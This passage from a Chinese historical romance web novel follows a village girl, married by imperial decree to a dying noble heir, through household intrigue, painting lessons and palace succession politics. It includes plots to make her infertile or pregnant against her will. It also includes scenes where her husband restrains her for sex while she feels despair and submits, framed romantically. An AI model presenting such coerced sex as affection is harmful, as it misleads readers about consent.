不仅嘈杂,气味也不怎么好。但薛含桃没有任何不适之处,她认真地看向四周,心道若非找到了阿姐,自己也许和阿凶会住在这样的小巷,毕竟租金便宜。 果儿去一间前面长着柳树的房子叩门,然而许久也无人作答。 “小娘子,你们是来找住在里面的人吗?”一个头上包着蓝布巾的妇人上前搭话,手里端着盛放湿衣服的木盆。 “嗯,阿嫂,这里住着一位姓高的画师,是我姐姐的同乡。无人应答,他是不住在这里了吗?”薛含桃点头,对着妇人打听高画师的去向。 “嗨,当然不住在这里,人家现在可发达了,得了贵人的青眼搬到隔两条街的大宅子里去了。”妇人言语间艳羡不已,或许还夹杂着一点别的什么,但薛含桃和果儿两人都未听出。 果儿很是惊喜,问清了地址就要过去,她没想到同乡埋没了好几年,她出宫还未多久人就走了运道。 薛含桃也高兴,毕竟那位画师和果儿姐姐有交情,过的如意总比过的差要好。 她们找啊找啊,寻到了一处刷着桐油的大门,果然是大宅子,门房里面还有两个仆人在。 看到她们,两人上下打量了一眼,轻蔑地扭回头去,竟然连一句话都懒得搭理。 “高画师在府中吗?劳烦通报一声,就说来人是果儿。”一开始,果儿对两个门房还是很客气的,说请他们通报。 “嘁,我家主君现在可是教导相爷府里郎君娘子作画的西席,岂是你随便想见就能见的。还同乡,我看是来骗吃骗喝的吧。” “就是,主君早就发过话,除了达官贵人,其他一律不见!” 两个门房的态度很差,果儿气恼不已,直接叉腰喊了起来,“什么骗吃骗喝,我是高画师的同乡果儿,叫高源鸣出来,看他识不识得我,你们和他说我已经出宫了。” “上门是想请高画师指点几句作画的技巧,我们带了钱币和酒肉。”薛含桃赶紧将装满了钱币的荷包拿出来,等着见到高画师再和他说钱币是陛下赏赐的。 听到这儿,两个门房勉强收回了轻视,一人抓起荷包跑去通报。 果儿见状,脸色好看一些,只等门房回来了就进去喝口茶。 走了那么久,她和娘子都很累。 然而,去而复返的门房态度甚至比至少还要恶劣,呸了一声,直接将荷包扔了下去,“我当里面是银子呢,拿到主君面前才发现是铜板,两个臭丫头,耍人啊。” 荷包被猛地砸在地上,立刻沾染上灰尘,连针线都看不清。 薛含桃愣了一下,默默捡起来,抚去上面的尘土。 “你们懂什么,”果儿气急败坏,想说这钱币在识货的人眼中比银子尊贵多了,语气微顿,问,“高源鸣既知道是我,为何还不请我们进去?” “主君说一个离开了皇宫的宫女罢了,今时今日连人都不配见他,更遑论请他指点画技。你们两个,快走,快走!平白脏了我们高府的门口。” “再不走,别怪我们动粗!” 两个门房横眉冷对,一脸嘲讽,听她提到皇宫以为多有头脸的人物,原来只是一个宫女。 闻言,果儿气的牙齿发颤,完全说不出话来。她没想到昔日的同乡一遭得势,会这么对待她,更让她在娘子的面前丢一个大脸。 她趾高气扬直呼高源鸣的大名,那也是因为两人曾经的关系是真的不错,否则她怎么会听到娘子学画就第一个想到他。 娘子现在是什么身份,果儿真真正正存了提拔他的心思! “果儿姐姐,没关系,我不和他学就是了。”薛含桃来不及将荷包上面的灰尘弄干净,看果儿姐姐脸色不对,急忙开口安抚她。 “娘子,我…我…也是没想到人心变得这么快。”果儿心里难堪极了,贵妃当初让她出宫是秘密为之,也许在那时自己就在高源鸣的眼中没有用处了吧。 “嗯,我们先回去吧,不着急。” “若不是…我真想让跟着我们的护卫砸了这地方。” …… 两人灰溜溜地从宅子门口离开,果儿失魂落魄,薛含桃倒觉得庆幸,因为荷包里面的钱币和买的酒肉都还在。 这一趟虽走了很远的路,但未有损失,除了荷包脏了一些。 她想着回去后要将荷包洗干净,忽然听到路边的小贩在叫卖,“重阳糕嘞,佩茱萸嘞。” 薛含桃晃了晃手上的镯子,走到小贩面前,挑选了两串红如血玉的山茱萸买下来。 再一看这边离她们之前住的小院不远,她让果儿姐姐先歇歇脚,自己去到封大娘子的糕点铺子,买了两斤重阳糕。 “薛妹妹?真的是你?”封大娘子看到她恍惚了片刻,才敢与她说话。 “大嫂,是我,我路过这里想买些点心吃。怎么不见之前的银霜糕,卖光了吗?”她左右都看了好几遍,没找到熟悉的银霜糕。 “客人都觉得太贵买的少,慢慢,铺子里也不做了。”封大娘子热情地同她解释,看她的目光里面惊奇最多。 似乎在不可思议,她都已经嫁到高门为何还穿的如此朴素,为何还要亲自来买糕点,难道不应该日日在府中安享富贵吗? “这样啊。”薛含桃垂着眼,有些失望,不过眼神无意间望见手镯上的黄色小花,她呼吸微快,将背篓里面的酒肉都掏出来给了封大娘子。 还有荷包里面的五百福币。 “薛妹妹,你这是做什么?”封大娘子不理解她的举动,不敢收礼。 “大嫂,我实话和您说,荷包里面的钱币是陛下赏赐的福币,加上这些酒肉,可不可以使人将银霜糕的方子写给我?我对天保证,我只自己做来吃,不会往外卖。”薛含桃一脸真挚地开口,想用福币换来银霜糕的做法。 她已经被世子厌倦了,接下来却继续要白吃白喝白住,世子还送给她一对手镯,如果她什么都不偿还,心里实在过意不去。 想来想去,也唯有用一些吃食讨世子的欢心。 刚好,世子书房外的桂树花期将到,桂花可以用来做银霜糕。 “陛下赏赐的福币!”闻言,封大娘子惊得语调颤抖,眼睛发直,她知道面前的小姑娘性子老实不会骗人。 而且作为唯二这里知晓薛含桃嫁给崔世子的人,封大娘子根本不怀疑陛下会有赏赐。 那可是名满天下的崔世子!皇帝老子赏些钱币给他很奇怪吗? “不就是个银霜糕的方子,其实也就是换了个名字,吃着还不是桂花糕的味儿。”封大娘子相当爽快,倒是害怕薛含桃反悔,再三确认是否只要这一个方子。 薛含桃懵了一瞬,难道还能换两个方子吗? “是只要这一个方子。”她回答封大娘子。 封大娘子当即让人把方子写给了她,末了还打趣,“大嫂猜,薛妹妹要银霜糕的方子肯定是为了你的夫君,是也不是?” 薛含桃笑的很羞涩,虽然她知道世子很快就不是她的夫君了。 时至中午,她和果儿两人返回定国公府。 虽然没能得到指点,还被不留情面地羞辱一顿,但薛含桃的心情还不错,脸上一直挂着甜甜的笑容。 偷偷瞅见她这副模样,果儿心头的羞怒也少了几分。 “都怪我,害娘子白跑一趟。” “没有白跑,我换了更重要的方子呢。” 两人一边说着一边往东院走去,然后行至拐角处,薛含桃被人叫住了。 “薛氏,谁准你这般模样出府的,丢尽崔家的脸面。” 她名义上的婆母,曹夫人一脸冷冰冰地堵住了她的路。 第38章 第三十八章“不够用心。”…… 曹夫人指责她私自出府,且穷酸的模样丢尽定国公府的脸面,又说她违背《女诫》,要用家法处置她。 起先,薛含桃确实被横空而出的问罪吓到了,站着没动,她说话的语气十分严厉,看过来的眼神也充满了厌恶,仿佛自己十恶不赦。 “莫要以为你有个贵妃姐姐就可以为所欲为,视规矩与无物。须知贵妃也管不了我国公府的家事。”曹夫人的下一句话也喝住了欲要把薛贵妃搬出来的果儿。 薛贵妃尊贵不假,可一双手伸不到定国公府。 果儿登时着急起来,曹夫人的话的确没有说错,她占着身份上的大义,若真的要处罚娘子,怕是只有世子才可以阻止。 曹夫人见主仆两人都白着脸未敢出声,眸光微闪,缓缓说道,“不过,你是初犯,年纪也还小,跪祠堂就不必了。你先随我回正院吧,让婆子们给你念一遍《女诫》,你保证日后守规矩便是。” 先紧后松,先是严厉后是温和,先是重罚后是轻轻放下,绝大部分人都不会拒绝,而是松一口气。 如同果儿,原本想要去找人求救的她已经没了这个想法,只是听一遍《女诫》,无伤大雅。 曹夫人转身便走,她身边的侍女婆子恭敬地朝着薛含桃伸手,意思是让世子夫人跟在曹夫人的身后。 去到正院,听一遍《女诫》,也就一两刻钟的时间,今日这事便可以揭过,府里府外不会传世子夫人的恶名,或许东院的人也无从察觉。 换作任何一个在乎声名的高门贵女都会欣然前往,曹夫人虽是继室,但也是她名义上的婆母啊。 可是,薛含桃是出生在乡间长在乡间的农女,她不知道高门里面的默契,也不懂那些弯弯绕绕。 她只听懂世子的继母先是要她跪祠堂后来又不罚她,而且她记得最最重要的一点,世子和他的父亲已经分家了。 在桃林村只要分了家,亲婆母也不能再对儿媳喝三道四了,因为所有人都默认她们是两家人。 “《女诫》我读过也记得里面的内容,就不麻烦夫人特意让人为我念一遍。” 薛含桃回过神后反而觉得这位曹夫人很奇怪,分家之后,自己为何要听从她的话,而且她也不是世子的亲生母亲。 “果儿姐姐,我们回去吧。”她拉着果儿的手腕,若无其事地往东院的方向走去。 闻言,曹夫人和她身边的人脸色俱是微变,完全没料到会得到这样一个应对。 “世子夫人,你不要不识好歹,万一惹怒夫人,可就不是听一遍《女诫》了。”一个年长的婆子得到曹夫人的授意大声呵斥。 “可我们分家了,她也不是世子的亲娘,我无论做什么她都不能打我骂我。”薛含桃抿抿唇,曹夫人若敢打骂她,郑重道,“我会还手的,打不过就找到堂姐和陛下,让他们帮我。” 她是堂姐的娘家人,堂姐也是她的娘家人,任是哪一方受到欺负都可以找对方帮忙。 新婚后的第一天,她害怕不去请安受到打骂是因为不知道其中的内情,现在她不怕惹怒曹夫人。 薛含桃第一次硬气地挺直腰板,回头还瞪了曹夫人和那个出声的婆子两眼,怪不得世子不喜欢这些人,果然讨厌。 更没料到她会还击的曹夫人等人哑然失声,一个卑微的农女,她们以为只要稍稍凶狠就能将人拿捏住。 “可惜,没将她骗到正院。”曹夫人扼腕叹息,神色冷静,听《女诫》当然不是她的目的,趁机让薛氏永绝了子嗣才是她真正的用意。 只要薛含桃生不出孩子,国公府将来才能归于她们母子手中。她知道这丫头已经和她的继子圆房了,而东院就只有一个女眷。 “母亲勿要动气,不如让儿子试试呢?”在房中养伤的崔季徽笑吟吟地凑到了曹夫人的身边,对着曹夫人低声说,“毕竟那是薛贵妃的妹妹,一个弄不好陛下定然怪罪。” “你想做什么?”曹夫人皱着眉,发出气音,“四郎,你的伤还未好全,别乱来,母亲就你一个儿子。” “母亲不是怕那丫头怀上崔伯翀的孩子吗?若是我把她弄到手,让她腹中怀有我的胎儿,陛下和薛贵妃纵然知道,也会当做无事发生。” 反正崔伯翀活不长了,不是吗?反正,他也姓崔- “娘子,您不怕曹夫人吗?”果儿被她拉着走进东院的门才敢开口,在果儿的认知中,曹夫人是这座府邸的女主人。 就算她心情清楚曹夫人是世子的继母,但果儿受过的教导让她下意识地将曹夫人的位置放在薛含桃的前面。 无关忠心,这是礼仪,这是规矩,这是身份。 就像在玉蘅等侍女的面前,她家娘子说出的话无论对错与否,也同样高出一头。 “不怕,”薛含桃放轻了一点声音,“我怕世子不高兴。” 真诚地将世子当作神明对待,就要喜他所喜,厌他所厌。 薛含桃是一个很虔诚的信徒。 “是吗?可我现在就很不高兴。”一道凉薄的声音打断两个人的对话,突如其来地出现。 此时,薛含桃和果儿刚跨进东院的第二道门。 果儿缩缩脖子,很没有骨气地飞快退了下去。 薛含桃抬起头,望着一脸冷意的崔伯翀,神态茫然。又不高兴了,是因为她没有把自己在世子房间的痕迹清理干净吗? 她乖乖地走过去,站在他面前。 “世子,您回来了?我这就把陶罐抱走,您让人给我安排的房间……有吗?”厌倦她晚上不再需要她,她应该可以从世子的房间搬出去了。 不需要很大,不需要很多摆设,“只要比阿凶的屋子高一些能站直便好。” 她的要求很低,很容易就能满足。 “谁准许你搬出去了?是我,还是你痴心妄想。”崔伯翀的声音很平静,可是那一双修长的墨眉沉沉地压着眼睫,给人一种风雨欲来的紧迫感。 薛含桃感受到了紧张,支支吾吾地解释,“世子说…不做的。” “原来你很想做?”他挑眉,口吻冷冽。 “不,我不是那个意思,我是说,世子厌倦我了,我不能再留在世子面前,讨人厌。”少女急着摆手,腕间的镯子也跟着响动。 崔伯翀似乎很不喜欢听到这种声音,于是皱眉抓住了镯子,还有她的手腕, 一直走到房中的一面镜子前。 他让她看清楚里面的两个人,沉声道,“无论情愿还是不情愿,陛下赐婚,就算你死了也要和我躺在一个棺椁里面,更何况活着的时候。” 薛含桃懂了,即便世子厌倦了她的躯体,也要和她住在一间屋子里面。 “对不起。”她心头的愧疚又增加两分,不再看镜子里面丑陋的自己,恹恹地耷拉下脑袋。 “道歉的话晚些再说,我只想知道这一个上午你去了哪里?”崔伯翀看着镜子里面闪躲的女子,轻轻一笑,“让我等到现在,是我说还是你说?” 他的体内压抑着火气,火气越盛语气就越温柔。 从方振的口中得知她一大早就出门是为了请求一位画师的指点,崔伯翀漫不经心地捏坏了一只画笔。 原来她不是担心画丑,而是从来就没打算过向自己请求。 “世子等我到现在,我以为只有午后才需要陪世子小憩。”薛含桃吃了一惊,看向他的目光真诚,“如果我知道上午也需要,一定不会出门。” 但她同时生出些苦恼,上午下午的时间都被占了,那她怎么和人学习作画? “你出门做了什么?” “准备礼物拜访一位画师,请他指点我基础的作画技巧。”薛含桃老老实实回答。 “哦,学到了吗?”他没有为她的诚实所动容,反而神色变得愈加冷淡。 仔细看,还有两分嘲弄。 不想着和他学,却是准备了厚礼去求别人,结果连大门都没进去,辛苦串好的钱币也被当作粪土一般扔掉。 “没有。”薛含桃的声音逐渐变小,在果儿姐姐面前说过的那些话无论如何都再说不出口,好似被世子听到十分羞耻。 崔伯翀轻飘飘地瞥了她一眼,问她有没有看到房中的新书案,“宽而矮平,最适合作画。” 顺着他说的,薛含桃看过去,然后不仅发现了新书案,还有成套的颜料和笔洗,这是…… “我可以教你作画,不过,你要记得偿还。”他挡在她的面前,深沉的眼瞳中映出她瘦小的身影,“偿还你所有的。” “我没有什么了,已经都给世子…” “不,你有。”崔伯翀冷静地告诉她,“你不够用心。” 她不够用心?薛含桃微微睁大眼睛,欲言又止,怎么才叫用心。 “你手中的方子就叫用心。” 银霜糕的方子其实她早就可以得到了,不是吗?偏偏是在今日,让他意识到之前的她有多么敷衍,偏偏也在今日,让他不舍得因为她另寻画师的事罚她。 幸而,她的钱币和酒肉最后换出去,是得了一纸方子,而不是几句平庸的指点。 否则,他会让她见识到自己真正刻薄的一面,不需要方振再在她面前卖弄口舌。 薛含桃下意识握紧了手心,似懂非懂,世子的意思是要多多地讨好他吗? “我用心,以后一定用心。” 她默默地将方子捧着给崔伯翀看,想到什么又把背篓提了过来,重阳糕和山茱萸被她小心地拿出来,“这些也是给世子的。” 算用心吗?薛含桃偷偷观察他的反应。 “还有,我刚才和曹夫人呛声,似乎气到她了。” 这算不算讨世子欢心。 第39章 第三十九章是个好姑娘。 曹夫人拦她,崔伯翀当然知晓,否则也不会在二门处与她遇上。她没有被诓骗过去,也不算太傻。 不过用来讨他欢心,就不够了。 “重阳已过,你不知道?”崔伯翀没看那纸方子,反而拿起了一串茱萸,艳丽的红色与他的冷白对比鲜明。 薛含桃小声解释是看小贩手中的山茱萸实在漂亮,好似一颗颗玉石。而且,她又道,“过了重阳节,一串只要两文钱。” 重阳节前,一串最少十文,便宜了好多好多呢,重阳糕也是。 闻言,崔世子淡淡嗤了一声,并不觉得意外。吝啬的桃子,只有对那只老狗才舍得花钱。 “也可以驱灾避害的。”听到他的嗤声,少女耷眉臊眼,今日她的荷包又变瘪了。 崔伯翀恍若未闻,随手将红色的茱萸插在了她的发间,他已经不需要避害驱灾。 “未时两刻,开始学画。” 他留下一句话,抬脚欲走,薛含桃反应过来,伸手反拉住他的衣袖。 “世子等我一下,只一下下。”薛含桃飞快地将另一串茱萸环绕在男人的腕间,看了他一眼,小心翼翼地打了个结,“这样就是茱萸手环,袖子放下来不会被人发现。” “谁教你的?”崔伯翀垂眸看向腕间点点的朱红,淡淡道。 青涩的野桃开了窍,不再被逼着就主动分泌出香甜的汁水。 又是谁教的。 “我跟村里的人学会了编织背篓,这个自然也就会了。”薛含桃不好意思地别过眼,她学的其实不好,因为和世子送给她的手镯比起来,她给世子的太过于简陋。 崔伯翀沉默了片刻后,放下衣袖,告诉她未时之前自己要吃到银霜糕。 “不要偷懒。” “嗯!我现在就去厨房,当…当作给世子的拜师礼。” 未时,崔世子吃到了用书房外的桂花制作的银霜糕,味道偏甜了一些,他顿了一下说刚刚好。 得到认可的薛含桃笑弯了眼睛,终于安心下来学习如何作画。 显然,丹青出色的崔世子是个高明的老师,他只教了她构图与色彩,以及下笔的轻重。 旁的他要她自己领会,“你既然只想要临摹,初学的时候就要放任自己,大胆一些。” “嗯嗯。”薛含桃小鸡啄米一般地点头,世子说什么就是什么。 当日,她就自己动手画了一幅,依旧丑陋地不堪入目。 “画的什么?”崔伯翀指着一团曲曲折折的墨色与淡黄,平静地问她。 “是雨后的桂花树,这里是一扇窗户。”薛含桃满脸通红,她的大胆显然和世子认为的大胆不大一样。 “筋骨还可以,皮肉太粗陋。”崔伯翀让她认真看着,接着他拿起了一支纤细的画笔,在她的画上寥寥添了几下,整幅画瞬间就变了一副模样。 薛含桃张大了眼睛,睫毛都不敢眨动,这真的还是她的画吗? 崔伯翀将画笔交到了她的手上,命令她,“按我刚才的做。” “好。”她努力地回想他落笔的动作,下一刻与他有五分相似的笔触出现在画纸上,虽有些僵硬但已经足够看了。 果然。 崔伯翀眯起了狭长的眼眸,目光深幽,她不懂技法不懂意境,甚至不懂落笔,但她很擅长模仿与复刻。 如若模仿到极致,便能够以假乱真。她倒也是聪明的,一开始就瞄准了临摹,而不是想着绘就自己的画作。 薛含桃画完后,立刻紧张地望着他,等待他的评语,然而崔世子盯着她的落笔处迟迟未开口。 她忍不住出声的时候终于听到他平淡的口吻,“你抄写的书呢?拿给我看看。” “我…我抄写的书都交给书阁掌柜了。”薛含桃的呼吸骤然急促,说最近太忙没时间再抄书,“等我有时间,我再拿给世子看。” 虽然她最近已经不敢再模仿世子的笔迹,但是,难免会带出一些痕迹……薛含桃实在害怕被世子发现端倪,她最后的脸面也就保不住了。 “哦,是吗?”崔伯翀的手指轻轻敲击了一下桌案,“那就等你有时间吧。” 闻言,薛含桃的神色肉眼可见地放松下来,表起了忠心,“我努力跟着世子学画,旁的包括抄书赚钱都不能分我的心。” 能拖一刻是一刻,老实的小姑娘鬼使神差地领会了拖字诀的奥妙。 然而,这时的崔世子却觉得 她傻的可爱,每次她出门都暗中有护卫跟着,她去了何处做了什么他清清楚楚。 崔伯翀漫不经心地想,既然她没时间再抄书,那就换一种更便宜的法子,把书阁买下来好了。 薛含桃却不知道自己马上要换一个“新东家”,她准备过段时间再去书阁,没有钱就暂且咬紧牙根过日子。 而且,世子对她很好啊,她吃穿不愁。再不然,就把箱子里剩下的那匹绢帛当出去。 边想,她边从一旁的碟子里拿了一颗葡萄,剥了皮去掉核,悄悄往世子的方向推了推。等看到世子矜贵地捻着葡萄吃掉,薛含桃立刻往自己的嘴里塞了一颗,唔,好吃! 一串葡萄被很快分完,她落笔的力道都坚定了很多。 只是可惜,不能让果儿姐姐和方大哥也尝一尝,阿凶就算了,狗和人不同,除了肉不能乱吃东西。 不过,她熬了一段时间的茯苓芝麻水果然有用,阿凶的毛发掉的少了,看起来也有更多肉。 薛含桃若有所思,犹豫了半晌,向崔世子提出了一个请求。 “红枣可以补气血,这里的库房里面还有很名贵的…人参,世子,我能用来熬补汤吗?玉蘅让大夫给我诊脉,言我身体亏损,每日都让我喝燕窝羹银耳羹用来补身,但我觉得味道太淡了。” “随便你。”听到一个参字,崔伯翀厌倦地闭上了眼睛。 见他要休息,薛含桃不敢再说话,走到他的身旁乖乖躺下。 她听人说过,天气变冷,喝补气血的汤能够暖和身体。 第二天用膳时,薛含桃就喝上了人参熬煮的汤药,因为不是自己的东西,她老老实实地先盛了一碗捧给崔世子。 “我连一根参须买不起,世子不先用,我也不敢喝。”她羞臊地垂下了眉眼,昨夜世子也没有睡她,只是让她陪睡。 看着那一碗参汤,崔伯翀的脸色骤然冷凝,他掀眸看向方振,方振神色复杂地摇了摇头。 他要是敢这么做,早就被世子赶回他娘身边了。自从彻底失望以后,世子愿意喝药汤他都谢天谢地了,哪里会奢望世子进补气血。 “要补气血的人是你,喝不了就倒掉。”不出方振的意外,崔伯翀冷冷拒绝了那一碗捧过来的参汤。 一双泛着寒光的眼睛没有了任何遮掩,令人不寒而栗。 “可是倒掉太可惜了,”薛含桃表情自然,“而且,世子最近在喝苦药,一定是因为用冰受寒了。受寒的人就要补气血,才能好得快。” 比起他,她的眼睛很清澈,什么心思都明明白白。 是他说让她用心,也是他要和她睡在同一张床榻上。她只是在笨拙地执行他的命令,讨他的欢心。 崔伯翀意识到这一点,端起那碗参汤一饮而尽,言出必行的崔世子总不能让这颗桃子觉得取悦他是错的。 “库房里面其实还有鹿茸、鹿筋、何首乌、当归等等,都能用来熬补汤。”方振说不出此时心中是什么滋味,但不妨碍他顺着东风添一把火。 “何首乌!”闻言,没见过世面的乡间姑娘惊叹不已,连连询问是不是可以让头发更浓密顺滑的名贵药材,她的头发就有一点泛黄。 “是。” “那我和阿凶可不可以用?” 听到它的名字,大黑狗嗷呜叫一声。 “给她记在账上,等着日后一并偿还。”崔伯翀不冷不热地瞥了方振一眼,废话真多。 …… 人参之后就是何首乌熬制的补汤,份量很足的一大锅,不仅薛含桃和阿凶喝了,果儿,东院的玉蘅文玑等人也都有份,滋养头发呢,谁能不动心。 接着便是当归、黄芪等等,几乎每天薛含桃都能喝上一碗补汤,当然还有崔世子。 为这一碗补汤,他教导脑子迟钝的学生便格外严厉,薛含桃一丝偷懒的机会都没有。 甚至,白日她苦哈哈地仰头对着桂花树作画的时候,男人在不慌不忙地吃着银霜糕以及剥好皮的新鲜瓜果。 等到了晚上,不知道是不是她补的太好,皮肉变得粉嫩起来,还是补汤对崔世子也起了作用,世子很快又对她的躯体燃起了兴趣。 他还想到了一种极为荒、淫的法子,蒙上她的眼睛,制住她的手脚,提着画笔悠悠散散地作画。 所幸随着天气变冷,屋中燃起了炭盆,暖意融融,即便身上没有被子也不觉得寒冷。 薛含桃几度想死,可顺从的本性让她委委屈屈地接受了一切。 她心里想着,等到她将世子的恩情偿还干净就好了,而如何偿还,她的眼睛不由自主地望向月光下的陶罐。 距离种子发芽快要两月,它的枝干初成雏形,已经有整整十片叶子了,勉强也能夸一句郁郁葱葱。 …… “小桃子,在看什么?”这天入寝时,发觉她有些心不在焉,崔伯翀轻轻用手指捏了捏她的脸颊。 长些了肉。 薛含桃被他发现,赶紧回过头眼巴巴地将心里的话都掏了出来,“我没看什么,就是想,想我的画可不可以卖出去了。” “可以试试,”崔伯翀回想她的画作,淡淡说道,“先临摹一幅,你自己再画一幅,都去试试。” “嗯!”薛含桃老实回应,她会按照世子说的做。 “出门的时候,让罗承武跟着你,不要理会旁人。”崔伯翀意味不明地叮嘱她,桃子初初被他养的好看一些,结果就有苍蝇想扑过来。 这只苍蝇一点不知死活。 “我知道,我不搭理他们。”薛含桃皱皱鼻头,自那一次她出门回来遇到世子的继母曹夫人后,不知怎么的,世子的弟弟也找她搭话。 穿的光鲜亮丽,长的也算俊俏,但他的眼神和笑容总是让薛含桃感到恶心,好在她跑的快,每次都让那个崔四郎追不到她。 不过最近,她从方振的口中听说,崔四郎的腿断了。虽然按照礼数应该去探望一番,但她手里没钱只好作罢。 “我赚了银子,回来给世子买热腾腾的烤栗子吃。十一月快要下雪了,烤栗子这时候最好吃。”薛含桃美滋滋地想,上面还可以刷一层蜂蜜。 是啊,要下雪了。 崔伯翀的眼底弥漫上一层阴翳,蓦然从安静平和的光景中清醒过来。 “你的画作若是卖出去,不必再来我的书房。”他口吻极淡,勾手将帷幔放了下来。 一切重回黑暗,再看不到明亮的月光,薛含桃的心情也仿佛如此。 “也不要我陪世子小憩了吗?我还给世子剥栗子吃。”她眼睛愣愣地问道。 “天冷了朝中多事,你的贵妃姐姐没和你说立太子一事?” 帷幔内响起他似笑非笑的嗓音,薛含桃一个激灵,默默地用被子蒙住了自己的脑袋,“自然,说了。” 和世子成婚后,算上小皇子满月宴那日,薛含桃一共进宫五次。 她的堂姐薛贵妃每次都坚持不懈地问她三个问题,有没有管家,有没有进入世子的书房,世子有没有再碰她。 她并未欺骗堂姐,堂姐听到她没有管家眉头紧皱,但她回答后两个问题时,堂姐又很高兴。 堂姐说让她尽快怀上世子的孩子,为此昨日进宫时还让太医为她诊脉,薛含桃怎么推拒都不成。虽然她现在已经学会了讨世子欢心,但她还是觉得自己不能生下世子的孩子。 薛含桃坚定地认为一切都是暂时的,或许某个突然的时刻,她就会被打回原形,回到真正属于她的世界。 太医的回复某种程度上让她松了口气,因为洪水那段时间她的身体重重损伤,不调理好很难怀上孩子。 堂姐有些失望,但天灾人祸所导致的结果也无可奈何,只是和她诉苦,朝中最近在为立太子一事拉锯。 “说我出身卑微,又是二嫁,生下的皇子若被立为太子,恐侮辱皇家。又说皇儿年龄太小,立太子言之过早,怕他承受不住。统统是胡言乱语,气煞我也。” 薛贵妃生气,薛含桃也摸不着头脑,毕竟陛下就小皇子一个儿子,不立他为太子还能是谁。 她回道,“二嫁的女子很多,三嫁四嫁丰县也有,难道就不认孩子了吗?” “小桃,你不知道,一些人惦记着立陛下的弟弟晋王为皇太弟呢,说是太、祖太宗便是兄终弟及!” 晋王,皇太弟,这等皇室之事薛含桃当然无从得知,她只从王牙媪的口中知道晋王有一个女儿仪静县主。 “至于侮辱我的出身,就要问坤宁殿的那位,她打的一手好算盘,竟然想着夺走我的皇儿记在她的名下。不可能,绝不可能!小桃,我才是你的亲人,你一定要说服崔世子帮我。” 薛贵妃说将来继承崔家的人是崔伯翀,而朝中崔世子的名望也是崔家最大的,只要他表态支持她,崔皇后安能再嚣张。 薛含桃是怎么回答的呢?崔皇后与薛贵妃,她肯定站在自己堂姐的一边,而且小皇子本就是堂姐的亲生儿子。 她回答自己会和世子说的。 然而一直到今晚,薛含桃都忍着没说,只是更加努力地讨好崔世子,寻找着开口的时机。 然后,世子自己说出来了。 她用被子蒙住自己的全部,深呼吸了许多下,悄悄地,怯怯地,一点点地用自己的柔软唤醒沉睡的巨兽。 黑暗中,崔伯翀的眼睛很亮。 他沉沉地低笑,夸她是个好姑娘。 然后在他温柔带着鼓励的口吻下,薛含桃不得不被迫着更加卖力讨好,让他知道,野生的桃子被家养了一段时间,不仅果皮变得细腻,果肉也多出了风味。 显然,这一招的作用是立竿见影的。 婚后,薛含桃第一次被允许和他面对面,虽然还是看不清他脸上的神色,但她觉得很满足。 只有两人相对,才算是交谈。 “小皇子…是我堂姐的孩子。”她含糊表达了自己的意思,“不能被抢走。” “他是你堂姐生的,没人可以抢走。”崔伯翀平静地告诉她,“这也是你嫁给我的原因。” 否则,皇帝也可以将她嫁给那只苍蝇。 “我与皇后之间没有所谓的姑侄情谊。当初我的母亲去世,是她提议定国公崔羿尽早和我外家划清界限,娶曹夫人进门。坐上后位之后,她也不止一次提起过让曹夫人的儿子成为世子。” “那一天,我告诉她,如果我的世子丢了。将来,她若生下皇子,便一定会被庶出取代。” 薛含桃第一次听到他说起自己的过往,愣了一下,原来世子也会被人嫌弃,“世子不会被任何人取代。” 崔伯翀眯起眼睛,拍了拍她的后背,让她不要停,“后来,我被立为世子,她可能是怕我怨恨她,便开始时常召我入宫。只是关系一直淡淡的,等到我十六岁凭我自己立在金銮殿之上,不仅皇后,所有崔家出身的人都视我为骄傲。” 十六岁文采斐然的少年郎,成为所有人的骄傲,薛含桃一想到这个画面,不由自主地笑了起来。 笑过之后,她又觉得不大对劲。 “世子保卫了汴州城,难道皇后和其他人都不觉得惊喜吗?” 她开口询问,黑暗中崔伯翀定定地看了她半晌,含住了她的唇瓣。 不觉得惊喜,而是惊吓。 不觉得是骄傲,而是祸害。 文臣可以成为相辅,武将只会被人猜忌,更何况他那样年轻,立下的功绩又无可辩驳。 逃不走的百姓们欢天喜地地为他立长生牌位,正要逃走的天潢贵胄只想他真的变成一个牌位,因为他们成为了货真价实的笑话。 所以,大胜归来的他没多久就遭受了金人的刺杀,没多久不算严重的伤口就快速恶化,没多久他的父亲和姑母就预备着为他准备后事。 最后,是孙医圣闻声而来,用手中珍藏的丹药为他续了命。 仅此一颗。 续来的命终究不长,他还是活不了多久。不过已经足够他查清真相,金人刺杀是真,有人冷眼旁观是真,有人在他的药中动了手脚也是真。 皇帝授意,皇后传达,定国公崔羿领命,亲自送他去死。 崔伯翀当然有恨,可那又如何?曾经的父子亲情不是假的,天下也禁不起再动荡。 他只是冷着心肠做回了崔世子。 这一刻,薛含桃什么都不知道,不过她尝到了一点血腥气,冰冷的味道。 于是,她伸出手臂,认真地抱住了他。 桃子是温暖的,她的血肉也是。 第40章 第四十章她从世子的马车中出来。…… 翌日,天阴阴的,又冷一些。 一大早,世子去上朝了,不知道是不是因为立太子的事。不过,薛含桃觉得他的心情应该不错,因为自己眼疾手快把温暖的手炉递给他时,他接过手炉摸了摸她的头。 “枕边有个锦囊,是给你的。”崔世子说下了早朝之后他还要去一趟枢密院接待一位故友,让她不必等他。 “嗯嗯。”薛含桃乖巧地应声,她今日也要出门呢,按照世子昨夜的话去画坊试一试。 “带上罗承武。”他淡淡叮嘱了一句。 “嗯!”她不仅会带着罗护卫,还会带着阿凶,“若有人敢欺负我,就让阿凶吓他。” 闻言,崔伯翀的眼底闪过一丝笑意,只是一瞬即逝,他转身留给她一个挺拔优雅的背影。 薛含桃站在房门处安静地注视他离开,等到什么背影也看不到了,她走向大黑狗的屋子,叫了一声阿凶。 大黑狗听到她的呼喊,立刻抖抖毛发从窝中出来,跟着她到更温暖的大屋子里面。 “阿凶,你今天吃鸡肉还是鸭肉?”薛含桃一边询问大黑狗,一边脚步轻快地去找世子口中的锦囊。 找到了,她怀着喜悦打开,发现里面是摆放整齐的铜板,数了数有一百个,应该是上次陛下赏赐的福币。 铜板下面还有一张小小的纸条,言简意赅地写了四个字,“买烤栗子。” “世子真奢侈啊,用陛下赏赐的福币买烤栗子。”薛含桃小声嘀咕,眯着眼睛笑成了弯弯的月牙。 阿凶也呜呜叫了两声,一声是鸡肉,两声便是鸭肉。 “好,那我让果儿姐姐对厨房说,今天喝老鸭汤。” “呜~呜~” “啊?你要吃烤鸭,不行,烤鸭味重容易掉毛,老鸭汤里还可以浸泡菘菜。”薛含桃无情地拒绝了大黑狗,从小院移过来的菜不能浪费。 